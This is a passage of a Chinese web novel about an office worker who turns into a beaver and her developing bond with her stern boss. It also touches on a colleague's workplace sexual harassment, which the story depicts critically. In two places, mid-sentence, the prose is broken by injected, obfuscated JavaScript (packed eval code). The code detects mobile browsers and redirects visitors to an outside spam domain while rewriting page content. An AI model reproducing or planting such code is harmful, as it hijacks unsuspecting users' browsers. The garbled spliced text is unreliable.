那确实没有。 陈弋敛眸,翻看那张卡,没有回应。 徐向迩,你这张死嘴。 人家这种高高在上的人,童年都在学习好吗,你懂什么啊! “呵呵,没事,陈总,跟着我。” “我和你说,射击游戏不容错过,特别解压。”徐向迩带着他来到射击游戏前,扫了卡先体验一局,“每次我不想上班了,烦的想爆炸的时候,我就来打几枪。” 陈弋站在一旁,抱臂盯着她,“因为我才不想上班的?” 徐向迩玩得放松,说话也毫无顾忌,“那倒不是,无论上司是谁,该讨厌的工作还是要讨厌的,谁会喜欢上班啊!” 接连打倒好几个丧尸后,她伸展手臂 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吃饭时徐向迩简单扎了个低马尾,此时有些松散,缕缕碎发落在白皙的颈侧,她摘下皮筋想重新扎上时,皮筋一下弹了出去。 丢出一道弧线,落在陈弋的脚边,他弯腰拾起,低眸看着她。 他的声音在喧闹的环境下,却稳稳落进她的耳中,“你是不是很想拥有自己的房子?” 徐向迩伸出的手顿住,眼睫颤抖,抬眸扫了他一眼,从他手中拿过皮筋,迅速扎起马尾,“对,很想很想。” “那你离自己的目标还有多远?” “问这个做什么?”徐向迩启动篮球机,利落地拿起篮球,抬高手臂投入篮筐。 站在一侧的陈弋,视线追随着她,“大概是在践行你的提议。” 什么漏了一拍,篮球没进筐。一个,两个,都没进筐。 那移动的篮球筐,有点像徐向迩此刻不平静的心跳。 节假日不该出门,吵闹的氛围让她无法心静。 “我玩这个老厉害了,可能今天人好多,影响我发挥。” 闻言,陈弋低低地嗯了声,他拿起篮球往里投,一个又一个全中。 徐向迩只好站在一旁,看着陈弋投篮,抬起又放下的精壮臂膀,甩出的轻盈弧线,衬衫下若隐若现的身体线条,轻松就能渡过来的淡淡清香,他似乎换香水了,可这不是重点。 重点是他这副认真又专注的模样,和在公司时开会简直差不多的死样。 她翻了个白眼,转身去玩赛车游戏,嘴里小声抱怨,“怎么到这也要炫耀,无语了!要是我状态好,准比你更厉害,哼哼!” 两人玩了两个多小时,陈弋虽然没有玩过,但她一教,他就能够轻松掌握。 结果,每次都是她落后。 不过胜负欲是其次啦。 徐向迩看着专注玩游戏的陈弋,扯了扯嘴角,大概有成功调动他的情绪吧。 走出商场时,天色黯淡,周围亮起璀璨的路灯。 已是晚上六点,天空又飘落淅淅沥沥的小雨,丝毫不影响来往的行人。 徐向迩伸手试探雨的大小,侧过头问陈弋,“太好了,雨下得不大。陈总,你着急回家吗?” 陈弋的耳边似乎已经浮现家里那些鱼缸发出的运作声,不知多少条鱼在其中游荡。 可此时有更温和的存在。 “不着急,你有什么安排?” “不着急的话,我带你去体会一下普通打工人的完美晚上吧。” 14. 心动 徐向迩大步向前,仰着头走去不远处宽敞明亮的便利店,像翅膀纷飞,无比雀跃的小精灵。 陈弋勾了勾唇,无奈地跟上去。 她在便利店的冰柜里拿出两杯冰块,又在酒类货架上拿了两小瓶基酒,最后拿了几瓶饮料。 陈弋想付款时,徐向迩连忙抢先占据收银台的位置,“那个,陈总,我来付吧。” 他熄灭手机屏幕,意外地问:“这么积极,不想赚领导的钱了?” “毕竟平时说了那么多丧良心的好话,就还是我来请客吧,不然我良心不安。” “啧。”陈弋回到货架间,拿了瓶啤酒,“谢谢徐总请客了。” 折煞了。 徐向迩结完账,毕恭毕敬掀开门帘,带着陈弋走到路边的小吃摊。 她指了指炸串的摊子,“陈总,你能吃吗?” “为什么不能?”陈弋从台面上拿过选餐盘,递给她,自己又拿了一个,“你是不是对我有误解?” “那可不只是我有。”徐向迩把面筋扔进盘内,“而且你之前也没给我们机会了解啊。” 陈弋敛眸,弯腰选择了几串蔬菜,“我在美国留过学,条件没那么好,所以自己做饭。而且朋友也会带我出去吃,嗯,怎么说,吃这种垃圾食品吧。” “陈总,你竟然有朋友!”徐向迩张着小嘴,表情震惊地看向他,重点完全跑偏。 “嗯,我没有,我就是个会孤独终老的大魔王。”他将盘子放在老板的手里,走到帐篷门口,掀开帘子示意她进去。 徐向迩忍笑失败,大笑出声,导致帐篷内的其他客人都看过来。 “陈总,你简直太好笑了,以前没发现啊。”她选择了帐篷最里面的空位,用包里的湿纸巾擦过椅子,示意他坐下,“也是,大部分的毒舌都用在我们身上了,很少自黑。” 陈弋却没说话,只是盯着她擦桌子的动作,他坐下之后,顺手拿过她手里的纸巾,帮忙擦拭桌子。 洁癖人难搞,那就自己擦吧。 原本油腻的桌面,擦过之后变得湿润干净,徐向迩望着那双骨节分明的手,突然想到了什么,拧着眉问道:“那你会做饭,为什么上次那么完美的牛肉会烤糊!” 和蛋挞被烤糊一样,罪不可赦。 “……”陈弋的身体僵硬一瞬,用纸巾擦过手指,摸了摸鼻尖,轻咳两声,“可能是有点紧张?” “为什么紧张——”徐向迩抽出一次性筷子,左右搓了搓,成功拆开一双完美筷子,“哦,我知道了,因为不经常和同事吃饭?社交关系也是你的难题哦。” 该紧张的是他们才对吧。 毒舌从不饶人的大魔王,竟然也会有这样可爱的一面。 帐篷内的空间狭窄,桌椅都无比拥挤,徐向迩的膝盖蹭到陈弋的腿,他稍微倾斜身体,躲避了她的触碰。 “你就这样认为吧——”他喉结滚动,瞥了一眼她在便利店买的酒,“不展示一下?” “差点忘记了!” 徐向迩不会调酒,她就是喜欢简单兑酒后的颜色,有的像是日出时淡粉的光芒,有的像泡在水里的蓝色绣球花。 她没有想到陈弋是在转移话题,直接打开冰块杯和饮料,将基酒混入。 塑料杯内的蓝色液体被冰块阻挡路线,缓慢渗入气泡水之中。 徐向迩将淡蓝色的那杯推到陈弋面前,“我下班后就喜欢喝酒,再吃点炸串还有馄饨面,就是一个非常完美的夜晚,虽然今天没有上班,但也挺累的,没有比这些更完美的了。” “完美在哪里?” 她蹙起眉头,眼眸凝视着自己眼前那杯淡粉的酒,“当然完美在准点下班后,还能静静享受一顿无人打扰的美食啦。而且你不觉得这些酒的颜色和饮料混在一起,自己的心也在跟安静吗,心情会好很多的。” 陈弋喝了口她调的酒,一般。 但坐在对面的人却眯着眼睛,喝了一口又一口。家里朋友送的那些酒,他想通通塞进她的怀里。 炸串上来时,陈弋对着老板说,“加两份馄饨面。” 帐篷的顶部有隐约由雨水拼凑成的乐声,两人坐在帐篷边缘,透明部分滑落雨滴,将外面化成朦胧的梦,帐篷内的世界才是唯一具象化。 徐向迩喝了几口酒后,脸色像微熟的番茄,由馄饨面升腾起的热气,慢慢熬煮成通红的番茄汁。 她突然想到被刻意丢弃的话题。 “其实,如果把之前和爸爸住的房子卖掉,离目标就不远了。”徐向迩盯着碗里漂浮的辣椒油发怔,“可好像有些东西,实在是不想去碰。”她吸了吸鼻子,“所以啊,我需要攒许多钱,才能在郊区买一套小小的房间。” “可我早晚能攒到的,等买上之后,我就不想在城市里上班了。我讨厌改策划案,讨厌被训斥,也讨厌别人说这都是成年人的无可奈何……” 陈弋嚼着炸串,用筷子拉出碗里的方便面,热气掩去他眼底的柔和,“那你想做什么?” “想每天都喝酒,想每天都在公园晒太阳,还想把家附近所有流浪的猫猫狗狗带回家,然后在家躺到死。”她吞下勺子里的馄饨,轻笑,“要实现这些,还要好多钱和好多年呢。” 徐向迩真的算不上有抱负的人,她不是徐鸣,仅仅只是个普通人。 她只想安静度过余生,当个无聊的躺平的人。 先前刚进帐篷时,徐向迩就热得脱去外套,仅剩一件贴身黑色短袖。 或许是骨架小,再加上不常运动的缘故,她的衣服仍有些宽松,幸好她的低马尾落在胸前。 她伸出手扑闪,试图晾干额头上冒出的汗。 陈弋迅速移开目光,“会实现的。” 逐渐注意到徐向迩,也是因为在摸鱼的时间外,她总会把一切都处理好。 “那你呢?” 他时常认为,人与人的亲密关系,无论何种,都仿佛在拿着放大镜去窥探对方的心,要挖出点什么,要偷走些什么。 而在徐向迩的面前,陈弋就只是路过而已。若不是因为河狸的缘故,她会退而再退。 可他却不知在何时,能轻易说出真话。 “我想能正常坐电梯,也想不再做噩梦。” 他还想为自己的存在说声抱歉。 帐篷内的桌椅都矮小,徐向迩倾身,轻轻摸了摸他的发顶,“陈弋,你不会再做噩梦,也不会再怕坐电梯了。” 陈弋被吓到,下意识后退了一下,躲开她的触碰,“为什么?” 徐向迩的眼睛明亮而清澈,声音细软,“因为我是会变成河狸的神哦,我拥有许多的好运,可以分一点给你呀。”她伸出手比划着大小。 陈弋微微起身,虚扶着她的手肘部位,“你喝醉了。” “一直那么清醒有什么用呢,偶尔……就醉一下吧。反正明天不上班。”她伸了个懒腰,左右拉伸,像只慵懒的小猫般打了个哈气。 然后立马又焉了,一屁股坐在椅子上,“可是,后天就要上班了……人到底为什么要上班,真希望钱直接掉下来,砸在我的脑袋上。” 一只唠叨的小醉鬼。 眼看着徐向迩的精神状态陷入不妙,陈弋只好叫代驾将她送回家。 平安到达小区后,司机在车上等着,他下车将人送到居民楼。 徐向迩在前面展开双臂小步跑,他在后面快步跟着,皮鞋踩进水坑也无暇顾及。 雨已经停止,每个路过的水洼里都泛起波澜,无人能在沉静的春夜里,再维持表面的冷静。 将徐向迩送回家后,陈弋站在楼外缓缓吐气,才迈步离开。 潮湿的夜里,陈弋回到家,放皮鞋进柜子里时,有粉白色的花瓣从鞋底掉落。 花瓣被踩出纹路,破碎不已。 他坐在换鞋凳上,望着家里那些如死水一般的鱼缸,下意识抬手摸了摸头发,却无法回到那一刻的触感。 / 短暂的清明节假期结束后,所有人都恢复到打工人的身份,继续在工位上为世界产出些非必要垃圾。 领导认为必要即可,毕竟他们是发工资的人。 日子无聊到徐向迩都开始诧异,她似乎太久都没有变成河狸了。 可生活就是如此奇妙,当你猛然间察觉到平静时,上天就会自动在你的身边投放NPC。 当然,要回归江禾市的蒋柔可不是NPC,而是能与徐向迩分享各种糟心事,最后两人抱头痛哭,感叹命运不公的好好闺蜜。 明日蒋柔回江禾的好消息,让她的好心情一直持续到下班前。 显而易见,好心情被大魔王陈弋打破了。 又要加班咯,徐向迩决定三天不替他说好话。 别问为什么是三天,因为她只能坚持三天不赚违心钱。 奄奄一息的周慧转过电脑屏幕,崩溃地询问,“尔尔,我画的图很丑吗,为什么组长让我改了又改……” “除非你给我点夜宵,否则我不会把宝贵的加班时间浪费在你身上。”徐向迩聚精会神地盯着屏幕,更改PPT的内容。 明日要和客户汇报。 是某化妆品品牌的新品营销宣传方案。 小众品牌,营销团队不够成熟,再加上对方与公司领导熟悉,就突然落到策划一部的头上了。 怎么好事不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585588|171729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落到徐向迩的头上呢。 最后,她和几个同事忙到晚上九点,期间大家只吃了几口炸酱面。 一行人磨磨蹭蹭像鬼魂一般走到电梯门前,陈弋也在这时从办公室出来,看到办公区域空无一人,神色渐安,可听到电梯口的人声,他又松了一口气,加快脚步走出感应门。 “你们忙完了?” 这次加班真怪不到陈总身上,大家对他也不敢有怨言,男同事回复道,“是啊,陈总,您也忙到这么晚?” “嗯。” 冷淡的声音令昏昏欲睡的徐向迩从周慧的肩膀上睁开双眼。 最近,陈弋与办公室的同事关系倒也算是和谐,虽然上司的一顿饭无法改变什么,但在男人之间,喝几杯酒就很容易拉进关系,更何况是需要献殷勤的顶头上司。 更重要的原因是没人知道神秘的他会再往上坐到什么位置。 也不知道有没有达到陈弋想要的结果。 感受到有冷冷地视线落到她身上,徐向迩一个箭步走进观光电梯。 随后,其他人也都进入。 陈弋望着远处的璀璨夜景,打破沉默,“你们怎么回家?” “坐地铁。” “我送你们去地铁口。” “不用了,陈总,怪麻烦的。”周慧疯狂摆手,顺便戳了戳徐向迩的手臂。 徐向迩在想明天晚上下班后和蒋柔的出行计划,此时思绪突然被打破,她眨了两下眼,不明所以地看向陈弋。 就那随意一瞥,徐向迩看到缝隙里陈弋紧紧攥着的拳头,她抬眸看向他的侧脸,似乎是在伪装什么。 她看了眼电梯,哦,观光电梯也不适应。 要是这个公司没有观光电梯,他会不会每天都爬楼梯? 周慧又戳了她两下,徐向迩才反应过来,看了眼手机显示的时间,“呀,也不早了,还是让陈总送一下吧,不然赶不上车就影响明天上班了。” “……”同事们都看向她。 她耸耸肩,而陈弋则低头一笑,“嗯,我开车过来,你们在门口等我。” 徐向迩又和他站在一条战线了,怎么就没克制住呢。 / 次日熬过上班时间,徐向迩匆忙走出大厦,蒋柔站在路边,跳起来大幅度地挥手。 说来她的闺蜜蒋柔也真是倒霉,在剧组辛苦工作几个月,到最后片尾却没有她的署名,在组内大闹一场后,就跑回来了。 徐向迩决定等到她心情平稳一些,再把河狸的事情告诉她。 希望不要吓到蒋柔。 两人走着去附近的商场看电影。 蒋柔在路上仍是义愤填膺,“哇,我真没想到,表面上口碑很好的编剧,结果背地里偷我们这些小透明的创意!烦死了呜呜呜呜,尾款也不给我打怎么办,我又不敢告他们,光是我骂人的事传出去,我可能都接不着活了。” “这个世界到底谁在幸福……” 徐向迩望着已经落到地平线下方的落日,天幕犹如深蓝绸缎,光污染把边缘染白。 “是啊,到底谁在幸福。” “你最近怎么样?”蒋柔啃着刚才买的芝士棒,芝士拉出长丝,她的声音逐渐模糊,“还和你那个冷面上司斗智斗勇吗?” “倒是没有……”徐向迩一怔,芝士棒放回盒子里,抹去嘴边的残渣,“这事说来话长,等看完电影回家和你说。” “诶,我们到底去看什么电影啊?”徐向迩不常看电影,所以一贯都是随着蒋柔的喜好。 “我没和你说嘛,我学姐参与的片子,她还客串了,所以我得买票支持一下。”她喝了口奶茶,嘬嘬两下,“哦,是恐怖片,没事吧?” 徐向迩时常觉得蒋柔缺根筋,或许是活在小说和剧本世界太久,让她总有些迷糊。 “……没事。”她以国产恐怖片从来不吓人的理由说服自己,坐进了观影座。 结果开始半小时后,徐向迩被突然出现的鬼吓到,躲到蒋柔的身后。 缺心眼蒋柔女士还一本正经盯着看,“这个女鬼也不像学姐啊,她到底客串了什么角色……好奇。” “……” 谁来管管她的死活啊。 没过几分钟,化着劣质妆容的女鬼猛地冲向屏幕,惨白的脸吓得徐向迩蒙住眼睛,心脏突突突直跳,她的身体里再度生出那诡异的感觉。 不好。 她抓起手机就跑出去,“柔柔,我去趟洗手间。” 徐向迩左拐右拐,闯进了洗手间。 果然,她一路跑到最里面的隔间反锁上门,刚把手机丢在置物架,下秒就又又又又又变成了河狸。 15. 影院 完啦,完啦,怎么会这样呢? 如果任何情绪波动都会变成河狸,那么就不能忽略掉恐惧。 可对于生活平静的社畜来说,徐向迩很少有这类情绪产生,没想到栽在了一部国产恐怖片上。 简直是耻辱。 她都不好意思说自己了,如果河狸的耳朵宽而大,能够遮住自己通红的脸就好了。 徐向迩躲在影厅并不干净的洗手间里,闭上眼睛,踮着脚强忍着不去看地上的污渍。 并不是所有商场的洗手间都洁净如新。 幸好徐向迩的反应速度快,不然她就要在影厅中央的座位表演大变河狸的魔术了。 不过超能力是升级了吗,她总能在变身前几分钟时萌生出诡异的预感。 之前在千语生日宴和警察陵园时都有这种感觉。 仿佛是为避免被人撞见变身,特意设置的预警,虽然被陈弋撞了个正着。 哦,陈弋! 徐向迩的尾巴撑在地面,努力减少与地面的接触,她的脑袋有灵光闪过,让陈弋来女厕所是不是太强人所难。 可是这种时候突然向蒋柔坦白,会怎么样。 让她来到洗手间告诉她,嗨,我是河狸,也是你的好闺蜜? 徐向迩害怕场面会失控。 思索片刻,她还是扒拉到置物架上的手机,给陈弋打了电话。 “陈总……要是我说,我可以免费帮你说好话一百回的话,你能不能来救救我啊……” 徐向迩撅着嘴,声音绵软,努力压低姿态哀求。 拜托了,善良的陈总。 就大发慈悲救救她这只迷失在城市里的悲惨小河狸吧。 “又变成河狸了?”陈弋平淡发问,有拖拽椅子的声响同时传到她的耳中。 徐向迩颇为不好意思地抓了抓耳朵,听到外面有人经过,她往里移动,把尾巴藏起来,捂着话筒小声回应,“嗯,不过这次需要拯救的地方有点尴尬哈。” “哪里?” “公司不远处的商场里,不是有个电影院吗……哈哈哈,那的女厕所里,你能来吗,陈总?” “……”陈弋被噎住,脚步顿住,“具体位置发过来,我马上过去。” 挂断电话,徐向迩撕了几张纸缠在爪子上,缓慢爬到马桶盖上坐着。 哪里不太对劲。 她一边听着隔壁隔间的声音,一边思考着有异样的地方。 陈弋最初不是说要看情况拯救她的么,怎么毫不犹豫就要来,完全没有威胁她,也没有半分不乐意的情绪。 想了半响,她发现陈总真是个大好人,刻板印象都该被冲进马桶里! 河狸托着脸,眨着小眼睛,脚蹼左右摇晃,乖巧等着陈弋的到来。 没过多久,陈弋就到达女厕所门外,他还专门买了电影票才能进入影院的洗手间。 他给徐向迩打电话确认,“除了你之外,里面还有其他人么?” “没有,好几分钟没有听到声音了,我还喊了几声确认。” “好,我马上进去。”陈弋将正在维修中的黄色牌子放在洗手间门口,转身关上门进去,“徐向迩,出来吧。” 某隔间虚掩的门被打开,徐向迩磨磨蹭蹭地走出来,眨着豆大的眼睛无辜地看着他。 每次她变成河狸都是这副小表情,小动物的天然无害感。 徐向迩一出隔间,看到陈弋站在昏暗的灯光下,身形挺拔,穿着一身休闲装,倒是随意一些。 他蹲下身,将身后的背包放在腿上,打开后,温声说,“进来吧。” 好有安全感。 简直就是从天而降的救世主,专属于徐向迩的。 “好。”她几乎要落泪,抓紧爬进背包,蜷缩在里面,看着他半拉着拉链,给她呼吸的空间,而后将自己抱在怀里。 “好了,出发了?” 河狸在包里低低地嗯了一声,发觉包里还有新鲜树枝,她拽着就开始啃。 陈弋怎么做什么都如此敬业,哪怕是河狸饲养员。 好吃,好吃,好吃。 从洗手间出来时,陈弋恰好撞上打算清扫的阿姨,他一怔,看着满脸震惊的阿姨,缓慢解释道,“女朋友没带东西,我进去送一下。” “怎么不叫我们去送。”阿姨瞥了他一眼,像看变态似的,“让人家别的女孩看见了,多不像话,现在这些小情侣,就你的女朋友是女生啊。” “……” 被他抱在怀里的徐向迩,透过拉链的细缝,看到陈弋紧绷的下颌线,没忍住笑出了声。 他快步走到没人的角落,垂眸询问,“送你回家?” 正笑着的河狸一怔,糟糕,怎么忘记蒋柔了。 “啊,好像不行,我闺蜜还在里面,我得把她叫出来。”徐向迩的小爪拽着拉链,露出眼睛和湿漉漉的鼻子,从缝隙挤出来毛茸茸的脸看着他,“那个,陈总,能不能把她叫到你的车上,我和她解释一下?” 他垂眸,掩住内心的失落,“你要告诉她?” “对啊,本来一开始就要告诉她,但我怕她担心我的精神状态,直接从剧组跑回来,耽误工作。”她吸吸鼻子,“好么,陈总?” “嗯。” 陈弋带她回到车上,徐向迩打开手机就看到蒋柔发了许多消息,她连忙打电话过去。 “柔柔,我有急事,你快出来找我,我在一号门这里。” “怎么回事!出什么事了!”蒋柔那边传来窸窸窣窣的声音,“你等着我,我马上到。” 徐向迩挂断电话,把车的模样和车牌号发过去。 没过一会儿,蒋柔敲了敲驾驶座的玻璃。 陈弋拉下车窗,“坐后面吧。” “你谁?” “……徐向迩的领导。”陈弋刮了刮眉骨,下意识看了一眼躲在毛毯里的徐向迩,嗤笑一声。 她倒是躲起来了。 “你是那个大魔王陈弋?” 他恢复到冷脸模式,语调冷淡,“你可以先坐进来吗?徐向迩有急事要你帮忙。” 毛毯下的一小坨,轻轻颤抖着。 蒋柔往车内瞥了一眼,没在车内看到徐向迩,于是低头看了眼手机,徐向迩发消息过来。 「柔柔上车吧。附:你初中时的网恋对象是楼上的大叔。」 蒋柔翻了个白眼,这丫头搞什么。 既然暗号说对了,她就乖乖进入后座。 陈弋扶额,透过后视镜看着她。 难为情地开口,“她怕你不能接受,让我先和你说。” 蒋柔挤到前排中间,瞪大双眼,“你把她搞怀孕了?” “?”你们俩不愧是好朋友。 “不是——” “那你把她怎么样了,让她不敢见我!”蒋柔威胁道,“我可不是你的下属,你要是敢欺负我们尔尔,我保证揍扁你。” 躲在毛毯里的徐向迩透过缝隙望去,陈弋的眉宇间有几分不耐烦,嘴角绷紧,车内的气压随之变低。 她叹了口气,直接用爪子掀开毛毯,胆怯开口,“柔柔,这是我。” 蒋柔听到她的声音,看向副驾,上面站着一只河狸。 四目相对,没人说话。 “你听我解释,我我我从生日那天开始,情绪一波动就会变成河狸,我也不知道怎么会这样,也不知道怎么和你解释……”徐向迩跳上中控台,爪子摸着肚皮上柔软的毛,“你别被我吓到,这也不是什么整蛊综艺,他真的是我上司,不是骗子,你……你能接受吗?” 蒋柔吞咽下口水,努力保持镇定,看向驾驶座上一脸冷漠的陈弋,尝试相信眼前的事情。 “那你怎么变回来?” “睡一觉就会变 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585589|171729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回来。” 蒋柔伸出指尖轻轻碰了碰河狸的脸,是真的,她又猛地缩回手。 “你真的是徐向迩?” “是的!”她生怕蒋柔不相信,又补充道,“咱们俩大学半夜回寝室,你卡在栅栏里出不来,然后只能报警让消防员把你救出来。” “行了,这种黑历史就别在帅哥面前说了哈。”蒋柔冲着陈弋尴尬一笑,捂住小河狸的嘴巴。 徐向迩翻了个白眼,这人可真是个颜狗。 “你相信了吧。” 蒋柔猛猛点头,眼含热泪,“我们尔尔辛苦了,这段时间你得多艰辛啊,又要加班又要变河狸的。”她被蒋柔抱起来,轻轻搂在怀里。 在足够亲近的人面前,徐向迩的防线被轻松击溃,“柔柔,还是你懂我,我真的好累呜呜呜呜。” 坐在驾驶座的陈弋,侧过身,看着柔软的河狸被人抱住,手指竟无意识握紧旁边的水杯,眼睛一眯,“徐向迩,你确定要在我的车里继续哭?” 她瞬间停止抽泣,揉揉眼睛,“谢谢陈总,我一定在同事面前多多说你好话,有什么情况第一时间向你反应。” “意思是我现在的使命结束,得离场了?” “呃,那你要跟着我们回家么……”徐向迩拽了拽蒋柔的手指,示意她把自己抱到中控台,她站在上面仰着脑袋望向陈弋,有些拘谨,眼神有些躲闪。 陈弋挑眉,哼笑,“过河拆桥的小河狸,你看我下次会不会管你。” 徐向迩慌张地翘起脚,小门牙漏在外面,“陈总绝对是世界第一善良的人,是最好的动物拯救大师!是我的救命恩人!” 她一定是世界上最会吹彩虹屁的河狸。 陈弋勾了勾唇角,手指有规律地敲打着方向盘,“那要不要送你回家?” “没事没事,有柔柔在,你放心好了。” “哦。”他不该失落的,自己又算不上什么重要的人,仅仅只是不小心撞到了而已。 蒋柔在两人之间看来看去,嘴角露出诡异的弧度。 最后,徐向迩被装在蒋柔的帆布包里,和陈弋挥手告别。 蒋柔打了辆车,手伸进包里一直摸着河狸的毛发。 徐向迩咬牙忍住,等回到家后,她从帆布包跳出来,理了理毛发,“柔柔!你给我把毛都摸油了。” “天呐,怎么这么可爱,好可爱!”蒋柔拿出手机拍照,各种角度都疯狂拍,“多好的都市奇幻题材,我要写剧本!” “……”徐向迩坐在沙发上,气呼呼地不理人。 “好了,我不闹了。”蒋柔把手机收起来,戳了戳河狸,“我说,你那个上司喜欢你?你们俩怎么回事,这种事我竟然排在他后面!” “不是,怎么会。” 徐向迩手舞足蹈地把来龙去脉讲了一遍。 她用吸管喝着水,叹息一声,“所以我就只能被迫和他签合同了。” “啊,可是你要是死不答应的话,他也没证据证明你能变河狸啊,你变身的地方都没有监控。” “你不明白,他会直接把我拎出去,然后拿着刀逼迫我说话,这样他就可以证明了,他这个人很难评。” “你再想想,他真是这样的人?” 他今天看起来不像是自己闺蜜说的那种恶魔上司啊。 徐向迩一怔,仿佛心还停留在摇摇晃晃的公交车上,跟着缓慢地上下。 她摸着粗糙的尾巴,撇了撇嘴,“他只是在利用我而已,而且还给我发钱,还能来救救我,我真的很满足了,其他我才不关心。” “可是,我总觉得他特别在意你。” “那他可能就是喜欢小动物吧,你是没见过他平时对我们这种平凡人类有多么的毒舌。”徐向迩坐到她的腿上,“好了,你快带我回房间,我给你拿千语的签名!” “啊啊啊!好呀好呀!” 16. 微妙 四月的天倒也不是日日明媚的好天气。 天幕低垂,春雨连绵,阴魂不散的飞絮也黏在水面,河水犹如白色绸缎,起伏摇晃令徐向迩的鼻子都在跟着发痒。 某日清晨,她下地铁后朝着公司走去,隔着口罩揉了揉发痒的鼻尖,“我讨厌春天!我讨厌柳树和杨树!除了树枝好吃之外,其他一点都不好!” 不过除却天气的影响外,这几日徐向迩的心情堪称完美。 毕竟每日下班后都能和蒋柔吃吃喝喝,吐槽工作上的奇葩事,像是回到两人高中时抱怨作业过多的场景。 她的情绪也从这潮湿粘稠的春雨中被拎了出来。 父亲去世后,家里的长辈们见徐向迩仍逃不出那大火般的噩梦,就商量着帮她换个环境生活。 于是她就跟随着舅舅舅妈去往青城生活。 上高中时认识了蒋柔,成为难得的好朋友,后来上大学也在同一所,毕业后又一起回到江禾市上班。 只不过蒋柔经常跟着剧组跑来跑去,并不常见面。 为什么会回到江禾市。 亲情是太过复杂的感情,她还是会留念在这里的时光,于是哪怕强撑着也愿留下来。 散漫的思绪随着电梯“叮”地一声打开而停止。 又是上班时间了。 经过三个小时的虚假忙碌后,终于到达中午休息时间,徐向迩拎着外卖,塌着腰前往休息室吃饭。 谁上班不像是个颓然的游魂呢。 从办公区拐过弯,陈弋恰好出现,徐向迩一个急刹车,抬眸瞥了他一眼。 他最近很少穿西装,常常是休闲装配卡其色风衣。 或作以前,徐向迩会夸赞几句。 可这几天,蒋柔总在她的耳边反复试探「你那个大魔王上司真的不是对你有好感吗?」 这种话听多了之后,她开始下意识排斥陈弋。 虽然拯救河狸的事,很感激他,但除了请客吃饭外,不愿与陈弋有太多交集。 原本就是意外纠缠上的关系,他与办公室的同事关系也在逐渐变好,两人以后也只会是上司与下属的关系。 徐向迩唯一想做的就是守住她的工位。 再多攒点钱,安安稳稳度过一天又一天就足够了。 她微微低下头,丸子头跟着轻晃,语调极为不自然,“陈总早……不好意思,陈总好。” 拜托你清醒一点好不好。 陈弋眉梢一挑,担忧地扫了她几眼,“生病了?” 徐向迩后退半步,外卖塑料袋发出窸窸窣窣的声响,“没有,上班综合症罢了。” 他嘴角一弯,“我知道,叫什么‘活人微死’?” 徐向迩轻易被他逗笑,“陈总,你少看点网络梗吧,别以后骂我们都变着花样来。” “我经常骂你?”陈弋站在原地回想自己以往的态度,眉心微皱。 她沉默半响,出声提醒道:“呃……陈总,你不吃饭?” “马上去。” “那陈总先去吃饭,拜拜咯。” 快跑啊。徐向迩迅速溜进休息室,只剩走廊的翠绿的龟背竹叶子晃了晃。 陈弋叹了口气,眸色极黯地盯着那晃动的叶。 她似乎在躲着他? / 下午,出完外勤的周慧把包摔在桌上,看着未开的电脑屏幕发怔。 旁边的徐向迩被吓到,凑过来问,“你怎么了?” “没什么……没什么。” 周慧摆了摆手,桌上的倒扣的手机嗡嗡两声,她下意识抖了一下。 徐向迩立即坐正,盯着她看了两秒,轻轻摇了摇她的小臂,“周慧,我想去泡咖啡,和你聊一下新项目的创意思路,可以么?” “好。” 两人在茶水机泡好咖啡,徐向迩带她去往休息室,里面并无其他人。 她拉着周慧坐下,懒人沙发瞬间陷进去,“周慧,发生了什么不开心的事么,如果不愿意说,那我们喝完咖啡就出去。” 一杯咖啡见底。 周慧咬着唇将手机解锁,找出对话框,递给她看,“你看看这个。” 徐向迩怀着疑惑拿过手机,却看到备注为「李总」的对话框里,对面发来一句句非必要问候。 「小周,上次你穿的蓝裙子真好看。」 「咱们小设计师只在办公室里么,不出来和组长见客户了吗?」 「今天又能和你见面了,小周。」 “上次活动结束后,组长带我和主办方吃饭,这个李总摸了我……大腿,我躲开了,他一直发消息骚扰我……”周慧抓着咖啡杯,长长的美甲发出刮擦的声响。 “今天上午去场地,他摸了我屁股……” 徐向迩翻看着聊天记录,不断进行着深呼吸。 忍耐再忍耐,是社畜的良好品德。 周慧也是孤身来到江禾市打工的人。 她甚至前几个月还被房东赶出来,好不容易找到合适的新房子稳定下来。 都是大城市里身不由己的人。 在职场上大部分的事都是能忍则忍,虽然徐向迩不是此类的人,可她要尊重周慧的选择。 她蹙着眉,将碎发挽至耳后,咬唇问道:“他是我们经常合作的那个主办方?” “嗯,我也是这段时间才见到的……”周慧摸了摸手臂,眼睛发红,“尔尔,我被他碰到的时候,全身都在发麻,好奇怪的感觉。” “可是,我好害怕,害怕我把事情闹大了之后,他们辞退我怎么办……” “那你想怎么办?” “……我不知道,我就是现在觉得哪里都好脏,不知道该怎么办。”周慧的眼泪瞬间落下,声音都在颤抖,“每次手机响,我都害怕是他的消息,他都结婚了,他凭什么啊,有钱就可以随便欺负我们这种打工人么……” “没事的,他现在不在这里,你很安全,没事的哈。”徐向迩抱住她,轻拍她的后背,“慧慧,你下午能行吗,要不要请假?” “不要,马上月底了,全勤还能拿到。”周慧抹去眼泪,强忍着哭腔,“下午我们点奶茶吧,我请客。” 徐向迩递给她纸巾擦脸,温声道:“好。” 她必须要想出一个办法,解决掉这件事。 要不要找陈弋求助。 